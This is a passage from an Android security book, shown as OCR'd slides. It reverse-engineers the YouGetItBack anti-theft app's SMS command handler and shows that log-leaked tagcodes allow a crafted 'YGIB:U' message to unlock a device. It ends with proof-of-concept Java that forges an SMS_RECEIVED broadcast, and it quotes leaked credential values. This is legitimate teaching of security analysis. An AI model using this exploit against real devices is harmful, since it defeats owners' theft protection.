v0 0 v4 v0.get"pdus" v5 new android.telephony.SmsMessagev4.length v3 0 while v3 v4.length v5v3 android.telephony.SmsMessage.createFromPduv4v3 v3++

slide 134:

102 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 102 v6 v5 return v6 This is fairly typical code for extracting an SMS Protocol Data Unit PDU from an Intent. You see that the parameter p9 to this method contains the Intent object. v0 is populated with the result of p9.getExtras which includes all the extra objects in the Intent. Next v0.get"pdus" is called to extract just the PDU byte array which is placed in v4. The method then creates an SmsMessage object from v4 assigns it to v5 and loops while populating members of v5. Finally in what might seem like a strange approach likely due to the decompilation pro- cess v6 is also assigned as the SmsMessage object v5 and returned to the caller. Decompiling the onReceive method you see that prior to calling getMessagesFromIntent a Shared Preferences f le SuperheroPrefsFile is loaded. In this instance the p8 object representing the application’s Context or state has getSharedPreferences invoked. Thereafter some additional methods are called to ensure that the SMS message is valid isValidMessage and ulti- mately the content of the message is processed processContent all of which seem to receive the p8 object as a parameter. It’s likely that SuperheroPrefsFile contains something relevant to the operations that follow such as a key or PIN: In 3: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver. METHOD_onReceive.source public void onReceiveandroid.content.Context p8 android.content.Intent p9 p8.getSharedPreferences"SuperheroPrefsFile" 0 if p9.getAction.equals" android.provider.Telephony.SMS_RECEIVED" 0 this.getMessagesFromIntentp9 if this 0 v1 0 while v1 this.length if thisv1 0 v2 thisv1.getDisplayMessageBody if v2 0 v2.length 0 android.util.Log.i"MessageListener:" v2 this.isValidMessagev2 p8 if this 0 this.isPinLockv2 p8 if this 0 this.triggerAppLaunchp8 thisv1 this.abortBroadcast else this.processContentp8 v2 this.abortBroadcast ...

slide 135:

Chapter 4 ■ Reviewing Application Security 103 c04.indd 01:15:7:PM 02/24/2014 Page 103 Supposing you want to construct a valid SMS message to be processed by this application you’d probably want to take a look at isValidMessage which you see in the preceding code receives a string pulled from the SMS message via getDisplayMessageBody along with the current app context. Decompiling isValidMessage gives you a bit more insight into this app: private boolean isValidMessageString p12 android.content.Context p13 v5 p13.getString1.82104701918e+38 v0 p13.getString1.821047222e+38 v4 p13.getString1.82104742483e+38 v3 p13.getString1.82104762765e+38 v7 p13.getString1.82104783048e+38 v1 p13.getString1.8210480333e+38 v2 p13.getString1.82104823612e+38 v6 p13.getString1.82104864177e+38 v8 p13.getString1.82104843895e+38 this.getActionp12 if this.equalsv5 0 this.equalsv4 0 this.equalsv3 0 this.equalsv0 0 this.equalsv7 0 this.equalsv6 0 this.equalsv2 0 this.equalsv8 0 this.equalsv1 0 v10 0 else v10 1 return v10 You see many calls to getString which acting on the app’s current Context retrieves the textual value for the given resource ID from the application’s string table such as those found in values/strings.xml. Notice however that the resource IDs passed to getString appear a bit odd. This is an artifact of some decompilers’ type propagation issues which you’ll deal with momentarily. The previously described method is retrieving those strings from the strings table comparing them to the string in p12. The method returns 1 if p12 is matched and 0 if it isn’t. Back in onReceive the result of this then determines if isPinLock is called or if processContent is called. Take a look at isPinLock: In 173: d.CLASS_Lcom_yougetitback_androidapplication_SmsIntentReceiver. METHOD_isPinLock.source private boolean isPinLockString p6 android.content.Context p7 v2 0 v0 p7.getSharedPreferences"SuperheroPrefsFile" 0.getString "pin" "" if v0.compareTo"" 0 p6.compareTov0 0 v2 1 return v2

slide 136:

104 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 104 A-ha The Shared Preferences f le rears its head again. This small method calls getString to get the value of the pin entry in SuperheroPrefsFile and then compares that with p6 and returns whether the comparison was true or false. If the comparison was true onReceive calls triggerAppLaunch. Decompiling that method may bring you closer to understanding this whole f ow: private void triggerAppLaunchandroid.content.Context p9 android.telephony.SmsMessage p10 this.currentContext p9 v4 p9.getSharedPreferences"SuperheroPrefsFile" 0 if v4.getBoolean"Activated" 0 0 v1 v4.edit v1.putBoolean"lockState" 1 v1.putBoolean"smspinlock" 1 v1.commit this.foregroundUIp9 v0 p10.getOriginatingAddress v2 new android.content.Intent"com.yougetitback. androidapplication.FOREGROUND" v2.setClassp9 com.yougetitback.androidapplication. FindLocationService v2.putExtra"LockSmsOriginator" v0 p9.startServicev2 this.startSirenp9 v3 new android.content.Intent"com.yougetitback. androidapplicationn.FOREGROUND" v3.setClassthis.currentContext com.yougetitback. androidapplication.LockAcknowledgeService this.currentContext.startServicev3 Here edits are made to SuperheroPrefsFile setting some Boolean values to keys indicating if the screen is locked and if it was done so via SMS. Ultimately new Intents are created to start the application’s FindLocationService and LockAcknowledgeService services both of which you saw earlier when listing services. You can forego analyzing these services as you can make some edu- cated guesses about their purposes. You still have the issue of understanding the call to processContent back in onReceive: In 613: f d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.METHOD_processContent.source private void processContentandroid.content.Context p16 String p17 v6 p16.getString1.82104701918e+38 v1 p16.getString1.821047222e+38 v5 p16.getString1.82104742483e+38 v4 p16.getString1.82104762765e+38 v8 p16.getString1.82104783048e+38 ...

slide 137:

Chapter 4 ■ Reviewing Application Security 105 c04.indd 01:15:7:PM 02/24/2014 Page 105 v11 this.splitp17 v10 v11.elementAt0 if p16.getSharedPreferences"SuperheroPrefsFile" 0.getBoolean"Activated" 0 0 if v10.equalsv5 0 this.processActivationMsgp16 v11 else if v10.equalsv6 0 v10.equalsv5 0 v10.equalsv4 0 v10.equalsv8 0 v10.equalsv7 0 v10.equalsv3 0 v10.equalsv1 0 v10.equalsv2 if v10.equalsv6 0 if v10.equalsv9 0 if v10.equalsv5 0 if v10.equalsv4 0 if v10.equalsv1 0 if v10.equalsv8 0 if v10.equalsv7 0 if v10.equalsv3 0 if v10.equalsv2 0 this.processDeactivateMsgp16 v11 else this.processFindMsgp16 v11 else this.processResyncMsgp16 v11 else this.processUnLockMsgp16 v11 ... You see similar calls to getString as you did in isValidMessage along with a series of if statements which further test the content of the SMS body to determine what methods to call thereafter. Of particular interest is f nding what’s required to reach processUnLockMsg which presumably unlocks the device. Before that however there’s some split method that’s called on p17 the message body string: In 1017: d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.METHOD_split.source java.util.Vector splitString p6 v3 new java.util.Vector v2 0 do v1 p6.indexOf" " v2

slide 138:

106 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 106 if v1 0 v0 p6.substringv2 else v0 p6.substringv2 v1 v3.addElementv0 v2 v1 + 1 whilev1 -1 return v3 This fairly simple method takes the message and chops it up into a Vector similar to an array and returns that. Back in processContent weeding through the nest of if statements it looks like whatever’s in v8 is important. There’s still the trouble of the resource IDs however. Try disassembling it to see if you have better luck: In 920: d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.METHOD_processContent.show ... ... 12 00000036 const v13 2131296282 13 0000003c move-object/from16 v0 v16 14 00000040 invoke-virtual v0 v13 Landroid/content/Context-getStringILjava/lang/String 15 00000046 move-result-object v4 16 00000048 const v13 2131296283 17 0000004e move-object/from16 v0 v16 18 00000052 invoke-virtual v0 v13 Landroid/content/Context-getStringILjava/lang/String 19 00000058 move-result-object v8 ... You have numeric resource IDs now. The integer 2131296283 corresponds to something going into your register of interest v8. Of course you still need to know what the actual textual value is for those resource IDs. To f nd these values employ a bit more Python within androlyze by analyzing the APK’s resources: aobj a.get_android_resources resid 2131296283 pkg aobj.packages.keys0 reskey aobj.get_idpkgresid1 aobj.get_stringpkgreskey The Python code f rst creates an ARSCParser object aobj representing all the supporting resources for the APK like strings UI layouts and so on. Next resid holds the numeric resource ID you’re interested in. Then it fetches a list with the package name/identif er using aobj.packages.keys storing it in pkg. The textual resource key is then stored in reskey by calling aobj.get_id passing in pkg and resid. Finally the string value of reskey is resolved using aobj.get_string.

slide 139:

Chapter 4 ■ Reviewing Application Security 107 c04.indd 01:15:7:PM 02/24/2014 Page 107 Ultimately this snippet outputs the true string that processContent resolved— YGIB:U. For brevity’s sake do this in one line as shown here: In 25: aobj.get_stringaobj.packages.keys0aobj.get_idaobj. packages.keys021312962831 Out25: uYGIB_UNLOCK uYGIB:U At this juncture we know that the SMS message will need to contain “YGIB:U” to potentially reach processUnLockMsg. Look at that method to see if there’s anything else you need: In 1015: d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.METHOD_processUnLockMsg.source private void processUnLockMsgandroid.content.Context p16 java.util.Vector p17 ... v9 p16.getSharedPreferences"SuperheroPrefsFile" 0 if p17.size 2 v1 p17.elementAt1 if v9.getString"tagcode" "" 0 android.util.Log.v"SWIPEWIPE" "recieved unlock message" com.yougetitback.androidapplication.wipe.WipeController. stopWipeServicep16 v7 new android.content.Intent"com.yougetitback. androidapplication.BACKGROUND" v7.setClassp16 com.yougetitback.androidapplication. ForegroundService p16.stopServicev7 v10 new android.content.Intent"com.yougetitback. androidapplication.BACKGROUND" v10.setClassp16 com.yougetitback.androidapplication. SirenService p16.stopServicev10 v9.edit v6 v9.edit v6.putBoolean"lockState" 0 v6.putString"lockid" "" v6.commit v5 new android.content.Intent"com.yougetitback. androidapplication.FOREGROUND" v5.setClassp16 com.yougetitback.androidapplication. UnlockAcknowledgeService p16.startServicev5 return

slide 140:

108 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 108 This time you see that a key called tagcode is pulled from the SuperheroPrefsFile f le and then a series of services are stopped and another started which you can assume unlocks the phone. This doesn’t seem right as it would imply that so long as this key existed in the Shared Preferences f le it would evaluate to true—this is likely a decompiler error so let’s check the disassembly with pretty_show: In 1025: d.CLASS_Lcom_yougetitback_androidapplication_ SmsIntentReceiver.METHOD_processUnLockMsg.pretty_show ... 12 00000036 const-string v13 SuperheroPrefsFile 13 0000003a const/4 v14 0 14 0000003c move-object/from16 v0 v16 15 00000040 invoke-virtual v0 v13 v14 Landroid/content/Context-getSharedPreferences Ljava/lang/String ILandroid/content/SharedPreferences 16 00000046 move-result-object v9 17 00000048 const-string v1 18 0000004c const-string v8 19 00000050 invoke-virtual/rangev17 Ljava/util/Vector- sizeI 20 00000056 move-result v13 21 00000058 const/4 v14 2 22 0000005a if-lt v13 v14 122 processUnLockMsg-BB0x5e processUnLockMsg-BB0x14e processUnLockMsg-BB0x5e : 23 0000005e const/4 v13 1 24 00000060 move-object/from16 v0 v17 25 00000064 invoke-virtual v0 v13 Ljava/util/Vector-elementAtILjava/lang/Object 26 0000006a move-result-object v1 27 0000006c check-cast v1 Ljava/lang/String 28 00000070 const-string v13 tagcode 29 00000074 const-string v14 30 00000078 invoke-interface v9 v13 v14 Landroid/content/SharedPreferences-getString Ljava/lang/String Ljava/lang/String Ljava/lang/String 31 0000007e move-result-object v13 32 00000080 invoke-virtual v15 v1 Lcom/yougetitback/androidapplication/ SmsIntentReceiver-EvaluateToken Ljava/lang/StringLjava/lang/String 33 00000086 move-result-object v14 34 00000088 invoke-virtual v13 v14 Ljava/lang/String- compareToLjava/lang/StringI 35 0000008e move-result v13 36 00000090 if-nez v13 95 processUnLockMsg-BB 0x94 processUnLockMsg-BB0x14e

slide 141:

Chapter 4 ■ Reviewing Application Security 109 c04.indd 01:15:7:PM 02/24/2014 Page 109 processUnLockMsg-BB0x94 : 37 00000094 const-string v13 SWIPEWIPE 38 00000098 const-string v14 recieved unlock message 39 0000009c invoke-static v13 v14 Landroid/util/Log- vLjava/lang/String Ljava/lang/StringI 40 000000a2 invoke-static/range v16 Lcom/yougetitback/androidapplication/wipe/WipeController -stopWipeServiceLandroid/content/ContextV processUnLockMsg-BB0xa8 ... That clears it up—the value of the second element of the vector passed in is passed to EvaluateToken and then the return value is compared to the value of the tagcode key in the Shared Preferences f le. If these two values match then the method continues as you previously saw. With that you should realize that your SMS message will need to effectively be something like YGIB:U followed by a space and the tagcode value. On a rooted device retrieving this tag code would be fairly easy as you could just read the SuperheroPrefsFile directly off the f le system. However try taking some dynamic approaches and see if you come up with anything else. Dynamic Analysis Dynamic analysis entails executing the application typically in an instrumented or monitored manner to garner more concrete information on its behavior. This often entails tasks like ascertaining artifacts the application leaves on the f le system observing network traff c monitoring process behavior...all things that occur during execution. Dynamic analysis is great for verifying assumptions or testing hypotheses. The f rst few things to address from a dynamic standpoint are getting a handle on how a user would interact with the application. What is the workf ow What menus screens and settings panes exist Much of this can be discovered via static analysis—for instance activities are easily identif able. However getting into the details of their functionality can be time consuming. It’s often easier to just interact directly with the running application. If you f re up logcat while launching the app you see some familiar activity names as the ActivityManager spins the app up: I/ActivityManager 245: START actandroid.intent.action.MAIN catandroid.intent.category.LAUNCHER flg0x10200000 cmpcom.yougetitback.androidapplication.virgin.mobile/ com.yougetitback.androidapplication.ActivateSplashScreen u0 from pid 449 I/ActivityManager 245: Start proc com.yougetitback.androidapplication.virgin.mobile for activity com.yougetitback.androidapplication.virgin.mobile/ com.yougetitback.androidapplication.ActivateSplashScreen: pid2252 uid10080 gids1006 3003 1015 1028

slide 142:

110 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 110 First you see the main activity ActivateSplashScreen as observed via Androguard’s get_main_activity and you see the main screen in Figure 4-5. Figure 4-5: Splash screen/main activity Moving through the app a bit more you see prompts for a PIN and a secu- rity question as shown in Figure 4-6. After supplying this info you see some notable output in logcat. D/YGIB Test 2252: Context from— com.yougetitback.androidapplication.virgin.mobile I/RequestConfigurationService 2252: RequestConfigurationService created D/REQUESTCONFIGURATIONSERVICE 2252: onStartCommand I/ActivationAcknowledgeService 2252: RequestConfigurationService created I/RequestConfigurationService 2252: RequestConfigurationService stopped I/PingService 2252: PingService created D/PINGSERVICE 2252: onStartCommand I/ActivationAcknowledgeService 2252: RequestConfigurationService stopped I/PingService 2252: RequestEtagService stopped D/C2DMReceiver 2252: Action is com.google.android.c2dm.intent. REGISTRATION I/intent telling something 2252: null null Intent actcom.google.android.c2dm.intent.REGISTRATION flg0x10 pkgcom.yougetitback.androidapplication.virgin.mobile

slide 143:

Chapter 4 ■ Reviewing Application Security 111 c04.indd 01:15:7:PM 02/24/2014 Page 111 cmpcom.yougetitback.androidapp lication.virgin.mobile/ com.yougetitback.androidapplication.C2DMReceiver has extras I/ActivityManager 245: START cmpcom.yougetitback.androidapplication.virgin.mobile/ com.yougetitback.androidapplication.ModifyPinScreen u0 from pid 2252 ... Figure 4-6: PIN input and security questions screen Sure enough there are calls being logged to start and stop some of the services you observed earlier along with familiar activity names. Further down in the log however you see an interesting information leak: D/update 2252: serverUrl--https://virgin.yougetitback.com/ D/update 2252: settingsUrl--vaultUpdateSettings D/update 2252: password--3f679195148a1960f66913d09e76fca8dd31dc96 D/update 2252: tagCode--137223048617183 D/update 2252: encodedXmlData— 3c3fxml20version3d1.020encoding3dUTF- 83f3e3cConfig3e3cSettings3e3cPin3e12343c 2fPin3e3c2fSettings3e3c2fConfig3e ... D/YGIB Test 2252: con.getResponseCode--200 D/YGIB Test 2252: urlString— https://virgin.yougetitback.com/vaultUpdateSettingspword 3f679195148a1960f66913d09e76fca8dd31dc96tagid137223048617183typeS

slide 144:

112 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 112 D/YGIB Test 2512: content--3c3fxml20version3d1.020encoding3d UTF-83f3e3cConfig3e3cSettings3e3cPin3e12343c2fPin 3e3c2fSettings3e3c2fConfig3e Even within the first few steps of this application’s workflow it already leaks session and conf guration data including what could be the tagcode you were eyeing during static analysis. Diddling with and then saving conf guration settings in the application also yields similarly verbose output in the log buffer: D/update 2252: serverUrl--https://virgin.yougetitback.com/ D/update 2252: settingsUrl--vaultUpdateSettings D/update 2252: password--3f679195148a1960f66913d09e76fca8dd31dc96 D/update 2252: tagCode--137223048617183 D/update 2252: encodedXmlData— 3c3fxml20version3d1.020encoding3dUTF- 83f3e3cConfig3e3cSettings3e3cServerNo3e+4477814821873c2fServerNo3e 3cServerURL3ehttps:2f2fvirgin.yougetitback.com2f3c2fServerURL3e3cBackup URL3eContactsSave3f3c2fBackupURL3e3cMessageURL3ecallMainETagUSA3f3c2f MessageURL3e3cFindURL3eFind3f3c2fFindURL3e3cExtBackupURL3eextContactsS ave3f3c2fExtBackupURL3e3cRestoreURL3erestorecontacts3f3c2fRestoreURL3 e3cCallCentre3e+4420332229553c2fCallCentre3e3cCountryCode3eGB3c2fCount ryCode3e3cPin3e12343c2fPin3e3cURLPassword3e3f679195148a1960f66913d09e76 fca8dd31dc963c2fURLPassword3e3cRoamingLock3eoff3c2fRoamingLock3e3cSimL ock3eon3c2fSimLock3e3cOfflineLock3eoff3c2fOfflineLock3e3cAutolock20I nterval3d220223eoff3c2fAutolock3e3cCallPatternLock20OutsideCalls3d22 62220Numcalls3d226223eon3c2fCallPatternLock3e3cCountryLock3eoff3c2 fCountryLock3e3c2fSettings3e3cCountryPrefix3e3cPrefix3e+443c2fPrefix 3e3c2fCountryPrefix3e3cIntPrefix3e3cInternationalPrefix3e003c2fInterna tionalPrefix3e3c2fIntPrefix3e3c2fConfig3e As mentioned previously this information would be accessible by an appli- cation with the READ_LOGS permission prior to Android 4.1. Although this particular leak may be suff cient for achieving the goal of crafting the special SMS you should get a bit more insight into just how this app runs. For that you use a debugger called AndBug. AndBug connects to Java Debug Wire Protocol JDWP endpoints which the Android Debugging Bridge ADB exposes for app processes either marked explicitly with android:debuggabletrue in their manifest or for all app pro- cesses if the ro.debuggable property is set to 1 typically set to 0 on production devices. Aside from checking the manifest running adb jdwp show debuggable PIDs. Assuming the target application is debuggable you see output as follows: adb jdwp 2252 Using grep to search for that PID maps accordingly to our target process also seen in the previously shown logs: adb shell ps | grep 2252 u0_a79 2252 88 289584 36284 ffffffff 00000000 S com.yougetitback.androidapplication.virgin.mobile

slide 145:

Chapter 4 ■ Reviewing Application Security 113 c04.indd 01:15:7:PM 02/24/2014 Page 113 After you have this info you can attach AndBug to the target device and process and get an interactive shell. Use the shell command and specify the target PID: andbug shell -p 2252 AndBug C 2011 Scott W. Dunlop swdunlopgmail.com Using the classes command along with a partial class name you can see what classes exist in the com.yougetitback namespace. Then using the methods command discover the methods in a given class: classes com.yougetitback Loaded Classes -- com.yougetitback.androidapplication. PinDisplayScreenXMLParserHandler -- com.yougetitback.androidapplication.settings.main.Entrance1 ... -- com.yougetitback.androidapplication. PinDisplayScreenPinDisplayScreenBroadcast -- com.yougetitback.androidapplication.SmsIntentReceiver -- com.yougetitback.androidapplication.C2DMReceiver -- com.yougetitback.androidapplication.settings.setting.Setting ... methods com.yougetitback.androidapplication.SmsIntentReceiver Methods Lcom/yougetitback/androidapplication/SmsIntentReceiver -- com.yougetitback.androidapplication.SmsIntentReceiver.initV -- com.yougetitback.androidapplication.SmsIntentReceiver. foregroundUILandroid/content/ContextV -- com.yougetitback.androidapplication.SmsIntentReceiver. getActionLjava/lang/StringLjava/lang/String -- com.yougetitback.androidapplication.SmsIntentReceiver. getMessagesFromIntentLandroid/content/IntentLandroid/telephony/ SmsMessage -- com.yougetitback.androidapplication.SmsIntentReceiver. isPinLockLjava/lang/StringLandroid/content/ContextZ -- com.yougetitback.androidapplication.SmsIntentReceiver. isValidMessageLjava/lang/StringLandroid/content/ContextZ ... -- com.yougetitback.androidapplication.SmsIntentReceiver. processUnLockMsgLandroid/content/ContextLjava/util/VectorV In the preceding code you see the class you were statically analyzing and reversing earlier: SmsIntentReceiver along with the methods of interest. You can now trace methods and their arguments and data. Start by tracing the SmsIntentReceiver class using the class-trace command in AndBug and then sending the device a test SMS message with the text Test message: class-trace com.yougetitback.androidapplication.SmsIntentReceiver Setting Hooks -- Hooked com.yougetitback.androidapplication.SmsIntentReceiver ...

slide 146:

114 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 114 com.yougetitback.androidapplication.SmsIntentReceiver trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver.initV:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830009571568 ... trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver.onReceive Landroid/content/ContextLandroid/content/IntentV:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830009571568 -- intentLandroid/content/Intent 830009581024 ... trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver. getMessagesFromIntentLandroid/content/Intent Landroid/telephony/SmsMessage:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830009571568 -- intentLandroid/content/Intent 830009581024 ... -- com.yougetitback.androidapplication.SmsIntentReceiver. isValidMessageLjava/lang/StringLandroid/content/ContextZ:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830009571568 -- msgTest message -- contextLandroid/app/ReceiverRestrictedContext 830007895400 ... As soon as the SMS message arrives passed up from the Telephony subsystem your hook f res and you begin tracing from the initial onReceive method and beyond. You see the Intent message that was passed to onReceive as well as the subsequent familiar messages called thereafter. There’s also the msg variable in isValidMessage containing our SMS text. As an aside looking back the logcat output you also see the message body being logged: I/MessageListener: 2252: Test message A bit further down in the class-trace you see a call to isValidMessage includ- ing a Context object being passed in as an argument—and a set of f elds in that object which in this case map to resources and strings pulled from the strings table which you resolved manually earlier. Among them is the YGIB:U value you saw earlier and a corresponding key YGIBUNLOCK. Recalling your static analysis of this method the SMS message body is being checked for these values calling isPinLock if they’re not present as shown here: trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver.getAction Ljava/lang/StringLjava/lang/String:0

slide 147:

Chapter 4 ■ Reviewing Application Security 115 c04.indd 01:15:7:PM 02/24/2014 Page 115 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830007979232 -- messageFoobarbaz -- com.yougetitback.androidapplication.SmsIntentReceiver. isValidMessageLjava/lang/StringLandroid/content/ContextZ:63 -- YGIBDEACTIVATEYGIB:D -- YGIBFINDYGIB:F -- contextLandroid/app/ReceiverRestrictedContext 830007987072 -- YGIBUNLOCKYGIB:U -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830007979232 -- YGIBBACKUPYGIB:B -- YGIBRESYNCYGIB:RS -- YGIBLOCKYGIB:L -- YGIBWIPEYGIB:W -- YGIBRESTOREYGIB:E -- msgFoobarbaz -- YGIBREGFROMYGIB:T ... trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver.isPinLock Ljava/lang/StringLandroid/content/ContextZ:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830007979232 -- msgFoobarbaz -- contextLandroid/app/ReceiverRestrictedContext 830007987072 ... In this case isPinLock then evaluates the message but the SMS message contains neither the PIN nor one of those strings like YGIB:U. The app does nothing with this SMS and instead passes it along to the next registered Broadcast Receiver in the chain. If you send an SMS message with the YGIB:U value you’ll likely see a different behavior: trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver. processContentLandroid/content/ContextLjava/lang/StringV:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830008303000 -- mYGIB:U -- contextLandroid/app/ReceiverRestrictedContext 830007987072 ... trace thread 1 main running suspended -- com.yougetitback.androidapplication.SmsIntentReceiver. processUnLockMsgLandroid/content/ContextLjava/util/VectorV:0 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830008303000 -- smsTokensLjava/util/Vector 830008239000 -- contextLandroid/app/ReceiverRestrictedContext 830007987072 -- com.yougetitback.androidapplication.SmsIntentReceiver.

slide 148:

116 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 116 processContentLandroid/content/ContextLjava/lang/StringV:232 -- YGIBDEACTIVATEYGIB:D -- YGIBFINDYGIB:F -- contextLandroid/app/ReceiverRestrictedContext 830007987072 -- YGIBUNLOCKYGIB:U -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830008303000 -- settingsLandroid/app/ContextImplSharedPreferencesImpl 830007888144 -- mYGIB:U -- YGIBBACKUPYGIB:B -- YGIBRESYNCYGIB:RS -- YGIBLOCKYGIB:L -- messageTokensLjava/util/Vector 830008239000 -- YGIBWIPEYGIB:W -- YGIBRESTOREYGIB:E -- commandYGIB:U -- YGIBREGFROMYGIB:T This time you ended up hitting both the processContent method and subse- quently the processUnLockMsg method as you wanted. You can set a breakpoint on the processUnLockMsg method giving an opportunity to inspect it in a bit more detail. You do this using AndBug’s break command and pass the class and method name as arguments: break com.yougetitback.androidapplication.SmsIntentReceiver processUnLockMsg Setting Hooks -- Hooked 536870913 com.yougetitback.androidapplication. SmsIntentReceiver.processUnLockMsgLandroid/content/Context Ljava/util/VectorV:0 class andbug.vm.Location Breakpoint hit in thread 1 main running suspended process suspended. -- com.yougetitback.androidapplication.SmsIntentReceiver. processUnLockMsgLandroid/content/ContextLjava/util/VectorV:0 -- com.yougetitback.androidapplication.SmsIntentReceiver. processContentLandroid/content/ContextLjava/lang/StringV:232 -- com.yougetitback.androidapplication.SmsIntentReceiver. onReceiveLandroid/content/ContextLandroid/content/IntentV:60 -- ... You know from the earlier analysis that getString will be called to retrieve some value from the Shared Preferences f le so add a class-trace on the android.content.SharedPreferences class. Then resume the process with the resume command: ct android.content.SharedPreferences Setting Hooks -- Hooked android.content.SharedPreferences resume

slide 149:

Chapter 4 ■ Reviewing Application Security 117 c04.indd 01:15:7:PM 02/24/2014 Page 117 NOTE Running a method-trace or setting a breakpoint directly on certain methods can result in blocking and process death hence why you’re just tracing the entire class. Additionally the resume command may need to be run twice. After the process is resumed the output will be fairly verbose as before. Wading once again through the call stack you’ll eventually come up on the getString method: Process Resumed trace thread 1 main running suspended ... trace thread 1 main running suspended -- android.app.SharedPreferencesImpl.getStringLjava/lang/String Ljava/lang/StringLjava/lang/String:0 -- thisLandroid/app/SharedPreferencesImpl 830042611544 -- defValue -- keytagcode -- com.yougetitback.androidapplication.SmsIntentReceiver. processUnLockMsgLandroid/content/ContextLjava/util/VectorV:60 -- smsTokensLjava/util/Vector 830042967248 -- settingsLandroid/app/SharedPreferencesImpl 830042611544 -- thisLcom/yougetitback/androidapplication/SmsIntentReceiver 830042981888 -- TYPELOCKL -- YGIBTAGTAG: -- TAGAAAA -- YGIBTYPETYPE: -- contextLandroid/app/ReceiverRestrictedContext 830042704872 -- setting ... And there it is the Shared Preferences key you were looking for: tagcode further conf rming what you identif ed statically. This also happens to corre- spond to part of a log message that was leaked earlier wherein tagCode was followed by a numeric string. Armed with this information you know that our SMS message in fact needs to contain YGIB:U followed by a space and a tagcode value or in this case YGIB:U 137223048617183. Attack Although you could simply send your specially crafted SMS message to the target device you’d still be out of luck in simply knowing the tagcode value if it happened to be different for some other perhaps arbitrary device which is practically guaranteed. To this end you’d want to leverage the leaked value in the log which you could get in your proof-of-concept app by requesting the READ_LOGS permission.

slide 150:

118 Chapter 4 ■ Reviewing Application Security c04.indd 01:15:7:PM 02/24/2014 Page 118 After this value is known a simple SMS message to the target device following the format YGIB:U 137223048617183 would trigger the app’s unlock component. Alternatively you could go a step further and forge the SMS_RECEIVED broadcast from your proof-of-concept app. As sending an implicit SMS_RECEIVED Intent requires the SEND_SMS_BROADCAST permission which is limited only to system applications you’ll explicitly specify the Broadcast Receiver in the target app. The overall structure of SMS Protocol Data Units PDUs is beyond the scope of this chapter and some of those details are covered in Chapter 11 but the following code shows pertinent snippets to forge the Intent containing your SMS message: String body "YGIB:U 137223048617183" String sender "2125554242" byte pdu null byte scBytes PhoneNumberUtils.networkPortionToCalledPartyBCD" 0000000000" byte senderBytes PhoneNumberUtils.networkPortionToCalledPartyBCDsender int lsmcs scBytes.length byte dateBytes new byte7 Calendar calendar new GregorianCalendar dateBytes0 reverseBytebyte calendar.getCalendar.YEAR dateBytes1 reverseBytebyte calendar.get Calendar.MONTH + 1 dateBytes2 reverseBytebyte calendar.get Calendar.DAY_OF_MONTH dateBytes3 reverseBytebyte calendar.get Calendar.HOUR_OF_DAY dateBytes4 reverseBytebyte calendar.get Calendar.MINUTE dateBytes5 reverseBytebyte calendar.get Calendar.SECOND dateBytes6 reverseBytebyte calendar.get Calendar.ZONE_OFFSET + calendar .getCalendar.DST_OFFSET / 60 1000 15 try ByteArrayOutputStream bo new ByteArrayOutputStream bo.writelsmcs bo.writescBytes bo.write0x04 bo.writebyte sender.length bo.writesenderBytes bo.write0x00 bo.write0x00 // encoding: 0 for default 7bit bo.writedateBytes try String sReflectedClassName

slide 151:

Chapter 4 ■ Reviewing Application Security 119 c04.indd 01:15:7:PM 02/24/2014 Page 119 "com.android.internal.telephony.GsmAlphabet" Class cReflectedNFCExtras Class.forNamesReflectedClassName Method stringToGsm7BitPacked cReflectedNFCExtras.getMethod "stringToGsm7BitPacked" new Class String.class stringToGsm7BitPacked.setAccessibletrue byte bodybytes byte stringToGsm7BitPacked.invoke nullbody bo.writebodybytes ... pdu bo.toByteArray Intent intent new Intent intent.setComponentnew ComponentName"com.yougetitback. androidapplication.virgin.mobile" "com.yougetitback.androidapplication.SmsIntentReceiver" intent.setAction"android.provider.Telephony.SMS_RECEIVED" intent.putExtra"pdus" new Object pdu intent.putExtra"format" "3gpp" context.sendOrderedBroadcastintentnull The code snippet f rst builds the SMS PDU including the YGIB:U command tagcode value the sender’s number and other pertinent PDU properties. It then uses ref ection to call stringToGsm7BitPacked and pack the body of the PDU into the appropriate representation. The byte array representing the PDU body is then placed into the pdu object. Next An Intent object is created with its target component set to that of the app’s SMS receiver and its action set to SMS_RECEIVED. Next some extra values are set. Most importantly the pdu object is added to the extras using the "pdus" key. Finally sendOrderdBroadcast is called which sends your Intent off and instructs the app to unlock the device. To demonstrate this the following code is the logcat output when the device is locked in this case via SMS where 1234 is the user’s PIN which locks the device: I/MessageListener:14008: 1234 D/FOREGROUNDSERVICE14008: onCreate I/FindLocationService14008: FindLocationService created D/FOREGROUNDSERVICE14008: onStartCommand D/SIRENSERVICE14008: onCreate 